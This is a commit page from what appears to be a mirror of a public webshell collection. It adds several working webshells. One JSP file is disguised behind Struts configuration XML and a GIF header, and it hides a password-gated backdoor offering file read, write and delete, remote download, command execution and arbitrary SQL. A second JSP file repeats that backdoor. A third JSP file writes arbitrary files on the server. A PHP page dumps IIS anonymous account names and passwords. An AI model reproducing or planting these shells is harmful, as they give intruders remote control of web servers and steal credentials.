mirror of
https://github.com/tennc/webshell
synced 2024-11-10 05:44:11 +00:00
update
This commit is contained in:
parent
cc7095e2ef
commit
f81c4a746f
5 changed files with 2629 additions and 0 deletions
117
jsp/index_sys.jsp
Normal file
117
jsp/index_sys.jsp
Normal file
|
@ -0,0 +1,117 @@
|
|||
<?xml version="1.0" encoding="UTF-8" ?>
|
||||
<!DOCTYPE struts PUBLIC
|
||||
"-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
|
||||
"http://struts.apache.org/dtds/struts-2.0.dtd">
|
||||
|
||||
<struts>
|
||||
|
||||
<package name="activity" extends="momoko-front">
|
||||
<action name="eventInfo" class="com.founder.web.action.activity.EventAction">
|
||||
<result name="input">/WEB-INF/pages/common/404.jsp</result>
|
||||
<result>/WEB-INF/pages/activity/eventDetails.jsp</result>
|
||||
</action>
|
||||
|
||||
<action name="generateVerifyCode" class="com.founder.web.action.activity.EventAction"
|
||||
method="generateVerifyCode">
|
||||
<result type="json"></result>
|
||||
</action>
|
||||
|
||||
<action name="join" class="com.founder.web.action.activity.EventAction"
|
||||
method="join">
|
||||
<result>/WEB-INF/pages/activity/eventDetails.jsp</result>
|
||||
<result name="input" >eventInfo</result>
|
||||
</action>
|
||||
|
||||
<action name="activityAdvisory" class="com.founder.web.action.activity.EventAction"
|
||||
method="activityAdvisory">
|
||||
<result type="json"></result>
|
||||
</action>
|
||||
|
||||
<action name="initActivityAdvisory" class="com.founder.web.action.activity.EventAction" method="initAdvisory">
|
||||
<result type="json"></result>
|
||||
</action>
|
||||
|
||||
<action name="activitySupportAdvisory" class="com.founder.web.action.activity.EventAction" method="supportAdvisory">
|
||||
<result type="json"></result>
|
||||
</action>
|
||||
|
||||
<action name="activityAgainstAdvisory" class="com.founder.web.action.activity.EventAction" method="againstAdvisory">
|
||||
<result type="json"></result>
|
||||
</action>
|
||||
<action name="activityInsertGrade" class="com.founder.web.action.activity.EventAction" method="insertGrade">
|
||||
<result type="json"></result>
|
||||
</action>
|
||||
|
||||
<action name="jsonActivityVote" class="com.founder.web.action.activity.EventAction" method="jsonVote">
|
||||
<result type="json"></result>
|
||||
</action>
|
||||
|
||||
<action name="initActivityVoteResult" class="com.founder.web.action.activity.EventAction" method="initVoteResult">
|
||||
<result type="json"></result>
|
||||
</action>
|
||||
|
||||
<action name="activityList" class="com.founder.web.action.activity.EventAction" method="activityList">
|
||||
<result>/WEB-INF/pages/activity/eventList.jsp</result>
|
||||
</action>
|
||||
|
||||
</package>
|
||||
</struts>
|
||||
GIF98a<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*"%>
|
||||
<%!
|
||||
String Pwd="xiaolabi";
|
||||
String EC(String s,String c)throws Exception{return s;}//new String(s.getBytes("ISO-8859-1"),c);}
|
||||
Connection GC(String s)throws Exception{String[] x=s.trim().split("\r\n");Class.forName(x[0].trim()).newInstance();
|
||||
Connection c=DriverManager.getConnection(x[1].trim());if(x.length>2){c.setCatalog(x[2].trim());}return c;}
|
||||
void AA(StringBuffer sb)throws Exception{File r[]=File.listRoots();for(int i=0;i<r.length;i++){sb.append(r[i].toString().substring(0,2));}}
|
||||
void BB(String s,StringBuffer sb)throws Exception{File oF=new File(s),l[]=oF.listFiles();String sT, sQ,sF="";java.util.Date dt;
|
||||
SimpleDateFormat fm=new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");for(int i=0;i<l.length;i++){dt=new java.util.Date(l[i].lastModified());
|
||||
sT=fm.format(dt);sQ=l[i].canRead()?"R":"";sQ+=l[i].canWrite()?" W":"";if(l[i].isDirectory()){sb.append(l[i].getName()+"/\t"+sT+"\t"+l[i].length()+"\t"+sQ+"\n");}
|
||||
else{sF+=l[i].getName()+"\t"+sT+"\t"+l[i].length()+"\t"+sQ+"\n";}}sb.append(sF);}
|
||||
void EE(String s)throws Exception{File f=new File(s);if(f.isDirectory()){File x[]=f.listFiles();
|
||||
for(int k=0;k<x.length;k++){if(!x[k].delete()){EE(x[k].getPath());}}}f.delete();}
|
||||
void FF(String s,HttpServletResponse r)throws Exception{int n;byte[] b=new byte[512];r.reset();
|
||||
ServletOutputStream os=r.getOutputStream();BufferedInputStream is=new BufferedInputStream(new FileInputStream(s));
|
||||
os.write(("->"+"|").getBytes(),0,3);while((n=is.read(b,0,512))!=-1){os.write(b,0,n);}os.write(("|"+"<-").getBytes(),0,3);os.close();is.close();}
|
||||
void GG(String s, String d)throws Exception{String h="0123456789ABCDEF";int n;File f=new File(s);f.createNewFile();
|
||||
FileOutputStream os=new FileOutputStream(f);for(int i=0;i<d.length();i+=2)
|
||||
{os.write((h.indexOf(d.charAt(i))<<4|h.indexOf(d.charAt(i+1))));}os.close();}
|
||||
void HH(String s,String d)throws Exception{File sf=new File(s),df=new File(d);if(sf.isDirectory()){if(!df.exists()){df.mkdir();}File z[]=sf.listFiles();
|
||||
for(int j=0;j<z.length;j++){HH(s+"/"+z[j].getName(),d+"/"+z[j].getName());}
|
||||
}else{FileInputStream is=new FileInputStream(sf);FileOutputStream os=new FileOutputStream(df);
|
||||
int n;byte[] b=new byte[512];while((n=is.read(b,0,512))!=-1){os.write(b,0,n);}is.close();os.close();}}
|
||||
void II(String s,String d)throws Exception{File sf=new File(s),df=new File(d);sf.renameTo(df);}void JJ(String s)throws Exception{File f=new File(s);f.mkdir();}
|
||||
void KK(String s,String t)throws Exception{File f=new File(s);SimpleDateFormat fm=new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
|
||||
java.util.Date dt=fm.parse(t);f.setLastModified(dt.getTime());}
|
||||
void LL(String s, String d)throws Exception{URL u=new URL(s);int n;FileOutputStream os=new FileOutputStream(d);
|
||||
HttpURLConnection h=(HttpURLConnection)u.openConnection();InputStream is=h.getInputStream();byte[] b=new byte[512];
|
||||
while((n=is.read(b,0,512))!=-1){os.write(b,0,n);}os.close();is.close();h.disconnect();}
|
||||
void MM(InputStream is, StringBuffer sb)throws Exception{String l;BufferedReader br=new BufferedReader(new InputStreamReader(is));
|
||||
while((l=br.readLine())!=null){sb.append(l+"\r\n");}}
|
||||
void NN(String s,StringBuffer sb)throws Exception{Connection c=GC(s);ResultSet r=c.getMetaData().getCatalogs();
|
||||
while(r.next()){sb.append(r.getString(1)+"\t");}r.close();c.close();}
|
||||
void OO(String s,StringBuffer sb)throws Exception{Connection c=GC(s);String[] t={"TABLE"};ResultSet r=c.getMetaData().getTables (null,null,"%",t);
|
||||
while(r.next()){sb.append(r.getString("TABLE_NAME")+"\t");}r.close();c.close();}
|
||||
void PP(String s,StringBuffer sb)throws Exception{String[] x=s.trim().split("\r\n");Connection c=GC(s);
|
||||
Statement m=c.createStatement(1005,1007);ResultSet r=m.executeQuery("select * from "+x[3]);ResultSetMetaData d=r.getMetaData();
|
||||
for(int i=1;i<=d.getColumnCount();i++){sb.append(d.getColumnName(i)+" ("+d.getColumnTypeName(i)+")\t");}r.close();m.close();c.close();}
|
||||
void QQ(String cs,String s,String q,StringBuffer sb)throws Exception{int i;Connection c=GC(s);Statement m=c.createStatement(1005,1008);
|
||||
try{ResultSet r=m.executeQuery(q);ResultSetMetaData d=r.getMetaData();int n=d.getColumnCount();for(i=1;i<=n;i++){sb.append(d.getColumnName(i)+"\t|\t");
|
||||
}sb.append("\r\n");while(r.next()){for(i=1;i<=n;i++){sb.append(EC(r.getString(i),cs)+"\t|\t");}sb.append("\r\n");}r.close();}
|
||||
catch(Exception e){sb.append("Result\t|\t\r\n");try{m.executeUpdate(q);sb.append("Execute Successfully!\t|\t\r\n");
|
||||
}catch(Exception ee){sb.append(ee.toString()+"\t|\t\r\n");}}m.close();c.close();}
|
||||
%><%
|
||||
String cs=request.getParameter("z0")+"";request.setCharacterEncoding(cs);response.setContentType("text/html;charset="+cs);
|
||||
String Z=EC(request.getParameter(Pwd)+"",cs);String z1=EC(request.getParameter("z1")+"",cs);String z2=EC(request.getParameter("z2")+"",cs);
|
||||
StringBuffer sb=new StringBuffer("");try{sb.append("->"+"|");
|
||||
if(Z.equals("A")){String s=new File(application.getRealPath(request.getRequestURI())).getParent();sb.append(s+"\t");if(!s.substring(0,1).equals("/")){AA(sb);}}
|
||||
else if(Z.equals("B")){BB(z1,sb);}else if(Z.equals("C")){String l="";BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1))));
|
||||
while((l=br.readLine())!=null){sb.append(l+"\r\n");}br.close();}
|
||||
else if(Z.equals("D")){BufferedWriter bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(z1))));
|
||||
bw.write(z2);bw.close();sb.append("1");}else if(Z.equals("E")){EE(z1);sb.append("1");}else if(Z.equals("F")){FF(z1,response);}
|
||||
else if(Z.equals("G")){GG(z1,z2);sb.append("1");}else if(Z.equals("H")){HH(z1,z2);sb.append("1");}else if(Z.equals("I")){II(z1,z2);sb.append("1");}
|
||||
else if(Z.equals("J")){JJ(z1);sb.append("1");}else if(Z.equals("K")){KK(z1,z2);sb.append("1");}else if(Z.equals("L")){LL(z1,z2);sb.append("1");}
|
||||
else if(Z.equals("M")){String[] c={z1.substring(2),z1.substring(0,2),z2};Process p=Runtime.getRuntime().exec(c);
|
||||
MM(p.getInputStream(),sb);MM(p.getErrorStream(),sb);}else if(Z.equals("N")){NN(z1,sb);}else if(Z.equals("O")){OO(z1,sb);}
|
||||
else if(Z.equals("P")){PP(z1,sb);}else if(Z.equals("Q")){QQ(cs,z1,z2,sb);}
|
||||
}catch(Exception e){sb.append("ERROR"+":// "+e.toString());}sb.append("|"+"<-");out.print(sb.toString());
|
||||
%>
|
59
jsp/indexop.jsp.上传.jsp
Normal file
59
jsp/indexop.jsp.上传.jsp
Normal file
|
@ -0,0 +1,59 @@
|
|||
<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*"%>
|
||||
<%!
|
||||
String Pwd="7495";
|
||||
String EC(String s,String c)throws Exception{return s;}//new String(s.getBytes("ISO-8859-1"),c);}
|
||||
Connection GC(String s)throws Exception{String[] x=s.trim().split("\r\n");Class.forName(x[0].trim()).newInstance();
|
||||
Connection c=DriverManager.getConnection(x[1].trim());if(x.length>2){c.setCatalog(x[2].trim());}return c;}
|
||||
void AA(StringBuffer sb)throws Exception{File r[]=File.listRoots();for(int i=0;i<r.length;i++){sb.append(r[i].toString().substring(0,2));}}
|
||||
void BB(String s,StringBuffer sb)throws Exception{File oF=new File(s),l[]=oF.listFiles();String sT, sQ,sF="";java.util.Date dt;
|
||||
SimpleDateFormat fm=new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");for(int i=0;i<l.length;i++){dt=new java.util.Date(l[i].lastModified());
|
||||
sT=fm.format(dt);sQ=l[i].canRead()?"R":"";sQ+=l[i].canWrite()?" W":"";if(l[i].isDirectory()){sb.append(l[i].getName()+"/\t"+sT+"\t"+l[i].length()+"\t"+sQ+"\n");}
|
||||
else{sF+=l[i].getName()+"\t"+sT+"\t"+l[i].length()+"\t"+sQ+"\n";}}sb.append(sF);}
|
||||
void EE(String s)throws Exception{File f=new File(s);if(f.isDirectory()){File x[]=f.listFiles();
|
||||
for(int k=0;k<x.length;k++){if(!x[k].delete()){EE(x[k].getPath());}}}f.delete();}
|
||||
void FF(String s,HttpServletResponse r)throws Exception{int n;byte[] b=new byte[512];r.reset();
|
||||
ServletOutputStream os=r.getOutputStream();BufferedInputStream is=new BufferedInputStream(new FileInputStream(s));
|
||||
os.write(("->"+"|").getBytes(),0,3);while((n=is.read(b,0,512))!=-1){os.write(b,0,n);}os.write(("|"+"<-").getBytes(),0,3);os.close();is.close();}
|
||||
void GG(String s, String d)throws Exception{String h="0123456789ABCDEF";int n;File f=new File(s);f.createNewFile();
|
||||
FileOutputStream os=new FileOutputStream(f);for(int i=0;i<d.length();i+=2)
|
||||
{os.write((h.indexOf(d.charAt(i))<<4|h.indexOf(d.charAt(i+1))));}os.close();}
|
||||
void HH(String s,String d)throws Exception{File sf=new File(s),df=new File(d);if(sf.isDirectory()){if(!df.exists()){df.mkdir();}File z[]=sf.listFiles();
|
||||
for(int j=0;j<z.length;j++){HH(s+"/"+z[j].getName(),d+"/"+z[j].getName());}
|
||||
}else{FileInputStream is=new FileInputStream(sf);FileOutputStream os=new FileOutputStream(df);
|
||||
int n;byte[] b=new byte[512];while((n=is.read(b,0,512))!=-1){os.write(b,0,n);}is.close();os.close();}}
|
||||
void II(String s,String d)throws Exception{File sf=new File(s),df=new File(d);sf.renameTo(df);}void JJ(String s)throws Exception{File f=new File(s);f.mkdir();}
|
||||
void KK(String s,String t)throws Exception{File f=new File(s);SimpleDateFormat fm=new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
|
||||
java.util.Date dt=fm.parse(t);f.setLastModified(dt.getTime());}
|
||||
void LL(String s, String d)throws Exception{URL u=new URL(s);int n;FileOutputStream os=new FileOutputStream(d);
|
||||
HttpURLConnection h=(HttpURLConnection)u.openConnection();InputStream is=h.getInputStream();byte[] b=new byte[512];
|
||||
while((n=is.read(b,0,512))!=-1){os.write(b,0,n);}os.close();is.close();h.disconnect();}
|
||||
void MM(InputStream is, StringBuffer sb)throws Exception{String l;BufferedReader br=new BufferedReader(new InputStreamReader(is));
|
||||
while((l=br.readLine())!=null){sb.append(l+"\r\n");}}
|
||||
void NN(String s,StringBuffer sb)throws Exception{Connection c=GC(s);ResultSet r=c.getMetaData().getCatalogs();
|
||||
while(r.next()){sb.append(r.getString(1)+"\t");}r.close();c.close();}
|
||||
void OO(String s,StringBuffer sb)throws Exception{Connection c=GC(s);String[] t={"TABLE"};ResultSet r=c.getMetaData().getTables (null,null,"%",t);
|
||||
while(r.next()){sb.append(r.getString("TABLE_NAME")+"\t");}r.close();c.close();}
|
||||
void PP(String s,StringBuffer sb)throws Exception{String[] x=s.trim().split("\r\n");Connection c=GC(s);
|
||||
Statement m=c.createStatement(1005,1007);ResultSet r=m.executeQuery("select * from "+x[3]);ResultSetMetaData d=r.getMetaData();
|
||||
for(int i=1;i<=d.getColumnCount();i++){sb.append(d.getColumnName(i)+" ("+d.getColumnTypeName(i)+")\t");}r.close();m.close();c.close();}
|
||||
void QQ(String cs,String s,String q,StringBuffer sb)throws Exception{int i;Connection c=GC(s);Statement m=c.createStatement(1005,1008);
|
||||
try{ResultSet r=m.executeQuery(q);ResultSetMetaData d=r.getMetaData();int n=d.getColumnCount();for(i=1;i<=n;i++){sb.append(d.getColumnName(i)+"\t|\t");
|
||||
}sb.append("\r\n");while(r.next()){for(i=1;i<=n;i++){sb.append(EC(r.getString(i),cs)+"\t|\t");}sb.append("\r\n");}r.close();}
|
||||
catch(Exception e){sb.append("Result\t|\t\r\n");try{m.executeUpdate(q);sb.append("Execute Successfully!\t|\t\r\n");
|
||||
}catch(Exception ee){sb.append(ee.toString()+"\t|\t\r\n");}}m.close();c.close();}
|
||||
%><%
|
||||
String cs=request.getParameter("z0")+"";request.setCharacterEncoding(cs);response.setContentType("text/html;charset="+cs);
|
||||
String Z=EC(request.getParameter(Pwd)+"",cs);String z1=EC(request.getParameter("z1")+"",cs);String z2=EC(request.getParameter("z2")+"",cs);
|
||||
StringBuffer sb=new StringBuffer("");try{sb.append("->"+"|");
|
||||
if(Z.equals("A")){String s=new File(application.getRealPath(request.getRequestURI())).getParent();sb.append(s+"\t");if(!s.substring(0,1).equals("/")){AA(sb);}}
|
||||
else if(Z.equals("B")){BB(z1,sb);}else if(Z.equals("C")){String l="";BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1))));
|
||||
while((l=br.readLine())!=null){sb.append(l+"\r\n");}br.close();}
|
||||
else if(Z.equals("D")){BufferedWriter bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(z1))));
|
||||
bw.write(z2);bw.close();sb.append("1");}else if(Z.equals("E")){EE(z1);sb.append("1");}else if(Z.equals("F")){FF(z1,response);}
|
||||
else if(Z.equals("G")){GG(z1,z2);sb.append("1");}else if(Z.equals("H")){HH(z1,z2);sb.append("1");}else if(Z.equals("I")){II(z1,z2);sb.append("1");}
|
||||
else if(Z.equals("J")){JJ(z1);sb.append("1");}else if(Z.equals("K")){KK(z1,z2);sb.append("1");}else if(Z.equals("L")){LL(z1,z2);sb.append("1");}
|
||||
else if(Z.equals("M")){String[] c={z1.substring(2),z1.substring(0,2),z2};Process p=Runtime.getRuntime().exec(c);
|
||||
MM(p.getInputStream(),sb);MM(p.getErrorStream(),sb);}else if(Z.equals("N")){NN(z1,sb);}else if(Z.equals("O")){OO(z1,sb);}
|
||||
else if(Z.equals("P")){PP(z1,sb);}else if(Z.equals("Q")){QQ(cs,z1,z2,sb);}
|
||||
}catch(Exception e){sb.append("ERROR"+":// "+e.toString());}sb.append("|"+"<-");out.print(sb.toString());
|
||||
%>
|
2317
jsp/luci.jsp.spy2009.jsp
Normal file
2317
jsp/luci.jsp.spy2009.jsp
Normal file
File diff suppressed because it is too large
Load diff
68
jsp/system1.jsp.上传.jsp
Normal file
68
jsp/system1.jsp.上传.jsp
Normal file
|
@ -0,0 +1,68 @@
|
|||
<%@page contentType="text/html; charset=GBK" import="java.io.*;"%>
|
||||
<%!private String password="hehe";//??????%>
|
||||
<html>
|
||||
<head>
|
||||
<title>hahahaha</title>
|
||||
</head>
|
||||
<body bgcolor="#ffffff">
|
||||
<%
|
||||
String act="";
|
||||
String path=request.getParameter("path");
|
||||
String content=request.getParameter("content");
|
||||
String url=request.getRequestURI();
|
||||
String url2=request.getRealPath(request.getServletPath());
|
||||
try
|
||||
{act=request.getParameter("act").toString();}
|
||||
catch(Exception e){}
|
||||
if(request.getSession().getAttribute("hehe")!=null)
|
||||
{
|
||||
if(request.getSession().getAttribute("hehe").toString().equals("hehe"))
|
||||
{
|
||||
if (path!=null && !path.equals("") && content!=null && !content.equals(""))
|
||||
{
|
||||
try{
|
||||
File newfile=new File(path);
|
||||
PrintWriter writer=new PrintWriter(newfile);
|
||||
writer.println(content);
|
||||
writer.close();
|
||||
if (newfile.exists() && newfile.length()>0)
|
||||
{
|
||||
out.println("<font size=3 color=red>save ok!</font>");
|
||||
}else{
|
||||
out.println("<font size=3 color=red>save erry!</font>");
|
||||
}
|
||||
}catch(Exception e)
|
||||
{
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
out.println("<form action="+url+" method=post>");
|
||||
out.println("<font size=3><br></font><input type=text size=54 name='path'><br>");
|
||||
out.println("<font size=3 color=red>"+url2+"</font><br>");
|
||||
out.println("<textarea name='content' rows=15 cols=50></textarea><br>");
|
||||
out.println("<input type='submit' value='save!'>");
|
||||
out.println("</form>");
|
||||
}
|
||||
}else{
|
||||
out.println("<div align='center'><form action='?act=login' method='post'>");
|
||||
out.println("<input type='password' name='pass'/>");
|
||||
out.println("<input type='submit' name='update' class='unnamed1' value='Login' />");
|
||||
out.println("</form></div>");
|
||||
}if(act.equals("login"))
|
||||
{
|
||||
String pass=request.getParameter("pass");
|
||||
if(pass.equals(password))
|
||||
{
|
||||
session.setAttribute("hehe","hehe");
|
||||
String uri=request.getRequestURI();
|
||||
uri=uri.substring(uri.lastIndexOf("/")+1);
|
||||
response.sendRedirect(uri);
|
||||
}else
|
||||
{
|
||||
out.println("Error");
|
||||
out.println("<a href='javascript:history.go(-1)'><font color='red'>go back</font></a></div><br>");
|
||||
}
|
||||
}
|
||||
%>
|
||||
</body>
|
||||
</html>
|
68
php/php版iisspy.php
Normal file
68
php/php版iisspy.php
Normal file
|
@ -0,0 +1,68 @@
|
|||
<?php
|
||||
|
||||
define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
|
||||
define('IS_COM', class_exists('COM') ? 1 : 0 );
|
||||
|
||||
?>
|
||||
|
||||
<html xmlns=http://www.w3.org/1999/xhtml>
|
||||
<head id=Head1>
|
||||
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
|
||||
<meta http-equiv="pragma" content="no-cache" />
|
||||
<title>IIS SPY</title>
|
||||
<style type="text/css">
|
||||
BODY,TD{FONT-SIZE: 14px;line-height:20px;}
|
||||
.tab-content { BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px; PADDING-LEFT: 5px; PADDING-BOTTOM: 5px; VERTICAL-ALIGN: top; BORDER-LEFT: #cccccc 1px solid; PADDING-TOP: 5px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #ffffff;}
|
||||
.Soft-content { BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 5px; PADDING-BOTTOM: 5px; VERTICAL-ALIGN: top; BORDER-LEFT: #cccccc 1px solid; PADDING-TOP: 5px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #ffffff;}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<table cellspacing=1 runat=server cellpadding=1 width=600px align=center border=0>
|
||||
<tr><td class=Soft-content>
|
||||
<div id="frm_main">
|
||||
<?php
|
||||
function ShowErr($s){
|
||||
echo("<pre stylr='background:#d1d1d1;'><font color=red>$s</font></pre>");
|
||||
}
|
||||
if(IS_WIN && IS_COM){
|
||||
try{
|
||||
$obj=@new COM("IIS://localhost/w3svc");
|
||||
$ctn="<table class=tab-content width=100% border=0 align=center cellpadding=0 cellspacing=0>
|
||||
<tr bgcolor=#0066CC><td>ID:</td><td>IIS_USER:</td><td>IIS_PASS:</td><td>Domain:</td><td>Path:</td></tr>\n";
|
||||
$i=0;
|
||||
foreach($obj as $obj3w)
|
||||
{
|
||||
$i++;
|
||||
if($i%2==0) $ctn.="<tr>";
|
||||
else $ctn.="<tr bgcolor=#F0F8FF>";
|
||||
if(!is_numeric($obj3w->Name)) continue;
|
||||
$webSite=new com("IIS://localhost/w3svc/".$obj3w->Name.'/Root');
|
||||
if(!$webSite)
|
||||
{ $ctn.="<td>[ERROR]=".$php_errormsg."</td><td></td><td></td><td></td><td></td></tr>\n";
|
||||
continue;
|
||||
}
|
||||
$Binds="";
|
||||
foreach($obj3w->ServerBindings as $Binds1)
|
||||
{
|
||||
$Binds.=$Binds1."<br>\n";
|
||||
}
|
||||
$user=$webSite->AnonymousUserName;
|
||||
$pass=$webSite->AnonymousUserPass;
|
||||
$path=$webSite->path;
|
||||
$ctn.="<td >".$i."</td><td >".$user."</td><td >".$pass."</td><td >".$Binds."</td><td >".$path."</td></tr>\n";
|
||||
}
|
||||
$ctn.="</table>";
|
||||
echo $ctn;
|
||||
}
|
||||
catch(Exception $e){
|
||||
ShowErr($e->getMessage());
|
||||
}
|
||||
}else{
|
||||
ShowErr('系统不支持');
|
||||
}
|
||||
?>
|
||||
</div>
|
||||
</td></tr>
|
||||
</table>
|
||||
</body>
|
||||
</html>
|
Loading…
Reference in a new issue